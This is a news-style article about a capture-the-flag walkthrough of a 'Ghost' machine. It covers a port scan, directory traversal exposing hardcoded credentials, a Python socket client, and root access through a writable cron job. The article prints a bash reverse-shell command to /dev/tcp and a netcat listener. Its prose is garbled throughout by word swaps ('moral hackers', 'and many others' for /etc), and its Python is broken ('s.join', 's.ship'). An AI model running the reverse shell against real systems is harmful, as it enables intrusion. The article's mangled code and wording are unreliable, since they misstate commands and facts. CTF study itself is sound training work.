Hack The field “Ghost” Problem Cracked

Cybersecurity researcher “0xdf” has cracked the “Ghost” problem on Hack The Field (HTB), a premier platform for honing penetration testing abilities, and shared an exhaustive technical breakdown on their GitLab weblog.

The write-up chronicles a complicated assault that navigates by means of reconnaissance, vulnerability exploitation, and privilege escalation, finally claiming the system’s flag—a digital proof of victory.

This achievement not solely cements 0xdf’s popularity amongst moral hackers but additionally serves as a essential lesson for system directors aiming to fortify their defenses in opposition to real-world threats.

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Hack The Field challenges like Ghost are meticulously crafted to emulate enterprise-grade programs, full with hidden flaws that check a hacker’s ingenuity.

0xdf’s success, detailed with precision, leverages a mixture of industry-standard instruments Nmap, Metasploit and bespoke scripts tailor-made to the goal’s quirks.

In an period the place cyberattacks develop more and more refined, this exploit underscores the worth of white-hat hackers who expose vulnerabilities earlier than malicious actors can exploit them.

Mapping the Breach: Reconnaissance to Preliminary Entry

The journey started with a foundational step in any penetration check: reconnaissance. 0xdf deployed an Nmap scan (nmap -sC -sV -p- ) to comb the Ghost system for open ports and operating providers.

The scan uncovered an internet server on port 80, doubtless an Apache or Nginx occasion, and an enigmatic customized service listening on port 31337—a non-standard port hinting at bespoke performance.

Probing the net server, 0xdf recognized a listing traversal vulnerability (/ghost/../) stemming from poor enter sanitization. This flaw allowed navigation past the net root, exposing delicate information.

Among the many retrieved information was a configuration script containing a goldmine: hardcoded credentials (admin:gh0stP@ss).

Armed with these, 0xdf turned to the port 31337 service, which proved to be a light-weight TCP listener designed to course of authenticated instructions.

Utilizing a easy socket connection, they authenticated and examined primary instructions like whoami, confirming a low-privilege foothold. To streamline this interplay, 0xdf crafted a Python script:

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.join(("target_ip", 31337))
s.ship(b"admin:gh0stP@ssnwhoamin")
response = s.recv(1024).decode()
print(response)

This preliminary breach, whereas restricted, set the stage for deeper infiltration, highlighting how a single misstep hardcoding credentials can unravel a system’s safety.

Escalation to Triumph: From Person to Root Management

With a foothold secured, the subsequent problem was privilege escalation a essential talent in penetration testing.

The TCP service ran below a restricted consumer account, limiting its utility. Undeterred, 0xdf scoured the system for escalation vectors, uncovering a writable cron job in /and many others/cron.d/ that executed as root each minute.

This misconfiguration was the linchpin. By appending a reverse shell payload (bash -i >& /dev/tcp//4444 0>&1) to a script invoked by the cron job, they triggered a callback to their machine.

Inside moments, a netcat listener (nc -lvnp 4444) on the attacker’s finish sprang to life, delivering a root shell.

From there, finding and capturing the flag—sometimes saved in /root/flag.txt—was a formality, marking the problem’s completion.

The escalation exploited a traditional flaw: extreme permissions on scheduled duties, a vulnerability that plagues many real-world programs. 0xdf’s methodical strategy, mixing automation with guide evaluation, turned a minor entry level into whole domination.

A Beacon for Cybersecurity Studying

The technical richness of 0xdf’s write-up makes it a standout useful resource. It mirrors real-world assault chains reconnaissance, exploitation, and privilege escalation seen in breaches focusing on firms and governments.

For aspiring pentesters, the publish affords a replicable playbook, full with instructions and logic.

For system directors, it’s a wake-up name: listing traversal, hardcoded credentials, and lax cron permissions usually are not theoretical dangers however exploitable realities.

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